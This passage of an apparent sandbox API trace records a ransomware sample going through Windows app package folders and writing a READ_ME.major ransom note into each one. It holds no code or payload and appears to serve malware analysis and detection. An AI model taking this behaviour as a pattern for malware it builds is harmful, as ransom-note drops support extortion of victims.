ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7544fabf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy", cAlternateFileName="MICROS~1.MOD")) returned 1 [0167.522] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.modalsharepickerhost_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0168.693] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0168.694] CloseHandle (hObject=0x75c) returned 1 [0168.694] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b12964, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b8500e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74b8500e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy", cAlternateFileName="MICROS~2.OOB")) returned 1 [0168.694] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.oobenetworkcaptiveportal_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0168.765] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0168.766] CloseHandle (hObject=0x75c) returned 1 [0168.766] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x740ca625, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74116aed, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74116aed, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy", cAlternateFileName="MICROS~1.OOB")) returned 1 [0168.766] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.oobenetworkconnectionflow_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0168.777] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0168.778] CloseHandle (hObject=0x75c) returned 1 [0168.778] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82539239, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x734de9c3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x73a62109, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.Windows.ParentalControls_cw5n1h2txyewy", cAlternateFileName="MICROS~1.PAR")) returned 1 [0168.778] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.parentalcontrols_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0168.780] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0168.781] CloseHandle (hObject=0x75c) returned 1 [0168.781] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1fcdfb62, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xec8930d8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xecaaa968, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.Windows.Photos_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.PHO")) returned 1 [0168.781] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0168.813] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0168.814] CloseHandle (hObject=0x75c) returned 1 [0168.814] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72644337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x726dcc78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x726dcc78, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.Windows.SecHealthUI_cw5n1h2txyewy", cAlternateFileName="MICROS~3.SEC")) returned 1 [0168.814] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.sechealthui_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0168.835] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0168.835] CloseHandle (hObject=0x75c) returned 1 [0168.836] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8333af6e, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x70e206ba, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x70e206ba, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy", cAlternateFileName="MICROS~1.SEC")) returned 1 [0168.836] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secondarytileexperience_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0168.838] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0168.839] CloseHandle (hObject=0x75c) returned 1 [0168.839] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7025ab41, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x702a7000, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x702a7000, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy", cAlternateFileName="MICROS~2.SEC")) returned 1 [0168.840] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secureassessmentbrowser_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0168.841] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0168.842] CloseHandle (hObject=0x75c) returned 1 [0168.842] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a66aba6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd6e44f49, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd6e44f49, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy", cAlternateFileName="MICROS~1.SHE")) returned 1 [0168.842] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0168.843] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0168.843] CloseHandle (hObject=0x75c) returned 1 [0168.843] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71c949cf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71ce0e7e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x71ce0e7e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.Windows.WindowPicker_cw5n1h2txyewy", cAlternateFileName="MI948A~1.WIN")) returned 1 [0168.843] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.windowpicker_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0168.919] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0168.920] CloseHandle (hObject=0x75c) returned 1 [0168.920] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea0165be, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x8681db72, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x8769207c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.WindowsAlarms_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.WIN")) returned 1 [0168.920] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0169.044] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.045] CloseHandle (hObject=0x75c) returned 1 [0169.045] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4d85f5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc2086555, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc2086555, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.WindowsCalculator_8wekyb3d8bbwe", cAlternateFileName="MICROS~2.WIN")) returned 1 [0169.045] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscalculator_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0169.113] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.122] CloseHandle (hObject=0x75c) returned 1 [0169.122] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19c767cf, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xef547375, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xef81c039, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.WindowsCamera_8wekyb3d8bbwe", cAlternateFileName="MICROS~3.WIN")) returned 1 [0169.122] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscamera_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0169.138] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.139] CloseHandle (hObject=0x75c) returned 1 [0169.139] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3de35df, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf1aae2a1, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf1aae2a1, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="microsoft.windowscommunicationsapps_8wekyb3d8bbwe", cAlternateFileName="MICROS~4.WIN")) returned 1 [0169.139] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0169.139] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.140] CloseHandle (hObject=0x75c) returned 1 [0169.140] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbed548e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xbede9823, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xbede9823, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe", cAlternateFileName="MIDE9E~1.WIN")) returned 1 [0169.140] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsfeedbackhub_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0169.144] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.145] CloseHandle (hObject=0x75c) returned 1 [0169.145] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe170ad7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xbd8024eb, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xbd8024eb, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.WindowsMaps_8wekyb3d8bbwe", cAlternateFileName="MID92F~1.WIN")) returned 1 [0169.145] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsmaps_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0169.147] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.149] CloseHandle (hObject=0x75c) returned 1 [0169.149] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9645a4f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xb907b89d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xb907b89d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.WindowsPhone_8wekyb3d8bbwe", cAlternateFileName="MI7D5A~1.WIN")) returned 1 [0169.149] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsphone_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0169.161] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.162] CloseHandle (hObject=0x75c) returned 1 [0169.163] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6670683, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x9690fc23, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x96d8829d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe", cAlternateFileName="MIA6CE~1.WIN")) returned 1 [0169.163] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowssoundrecorder_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0169.166] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.167] CloseHandle (hObject=0x75c) returned 1 [0169.167] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4097064, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xef652437, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xef8b4999, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.WindowsStore_8wekyb3d8bbwe", cAlternateFileName="MI052B~1.WIN")) returned 1 [0169.167] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0169.168] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.169] CloseHandle (hObject=0x75c) returned 1 [0169.169] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15867c3, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x94eafafc, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x950534fc, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.XboxApp_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.XBO")) returned 1 [0169.169] CreateFileW 